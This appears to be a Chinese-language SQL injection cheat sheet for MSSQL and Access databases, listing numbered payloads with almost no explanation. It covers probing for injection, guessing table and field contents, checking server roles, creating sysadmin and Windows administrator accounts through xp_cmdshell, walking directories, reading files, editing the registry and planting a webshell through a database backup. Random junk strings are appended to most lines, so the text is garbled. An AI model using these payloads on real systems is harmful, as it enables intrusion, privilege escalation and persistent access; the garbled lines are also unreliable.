1.判断是否有注入;and 1=1 ;and 1=2 lEi,duS)
2.初步判断是否是mssql ;and user>0 THHrGvb
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3.注入参数是字符'and [查询条件] and ''=' s#w+^Mw$
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' "M6a_rZ2W
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5.判断数据库系统 EZ #UdK_
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;and (select count(*) from sysobjects)>0 mssql hM
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;and (select count(*) from msysobjects)>0 access BEvSX|M>x
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 aM 0kV.O
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Orh5d7+S
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 QxnP+U~N
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9.(1)猜字段的ascii值(access) (Wr;:3i
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8DTk<5mW~
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(2)猜字段的ascii值(mssql) v,vTRrpK
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3sGrX"0D
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10.测试权限结构(mssql) o0 -e,F>u
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- xmKa8']x
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;TSnIC)c
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- a2/r$Tgm
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- s
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- UTA0B&aB
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ?f']*pD8
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;and 1=(select IS_MEMBER('db_owner'));-- y NV$IN%
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11.添加mssql和系统的帐户 NJqALm!(
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;exec master.dbo.sp_addlogin username;-- #!#V!^ o
;exec master.dbo.sp_password null,username,password;-- d\;M F
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N["c*=x
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;exec master.dbo.xp_cmdshell 'net user username password 5YS`v#+
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- v{
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8e>;E
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- >o.u,
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12.(1)遍历目录 lG#&Pv>-
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;create table dirs(paths varchar(100), id int) ItM?nyA
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;insert dirs exec master.dbo.xp_dirtree 'c:\' um,/^2A
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;and (select top 1 paths from dirs)>0 1<\cMY6
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Rp`}"x9
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(2)遍历目录 !LIWoa[ F.
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /SMp`Q88
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 S\0"G*
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #S<>+,Lk
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 nWXI*%m5
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~Ag!wj
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13.mssql中的存储过程 NmB0CbB
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xp_regenumvalues 注册表根键, 子键 fiw~"2U
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 z[t$[Qg
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xp_regread 根键,子键,键值名 J|xqfY@+
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &7@6Y{!/
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xp_regwrite 根键,子键, 值名, 值类型, 值
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |qI_9#M\(
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xp_regdeletevalue 根键,子键,值名 =,T~F3pK
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #G*z{BRQ
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 55$by.rf?
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14.mssql的backup创建webshell a[(n91J0
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use model kN}.[enI~
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create table cmd(str image); %{HqF>=~
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insert into cmd(str) values (''); /au\OBUge
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backup database model to disk='c:\l.asp'; ~(%G;fZ?x
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15.mssql内置函数 &UzZE17R
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;and (select @@version)>0 获得Windows的版本号 C62<pLJf
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa "\>3mVOb
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;and (select user_name())>0 爆当前系统的连接用户 +i)1 jX<
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;and (select db_name())>0 得到当前连接的数据库 t: [[5];E
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16.简洁的webshell VWMCbg>R
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use model Aga7X@fV(
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create table cmd(str image); ho(Y?'^t3
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insert into cmd(str) values (''); nEGku]pCH{
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backup database model to disk='g:\wwwtest\l.asp';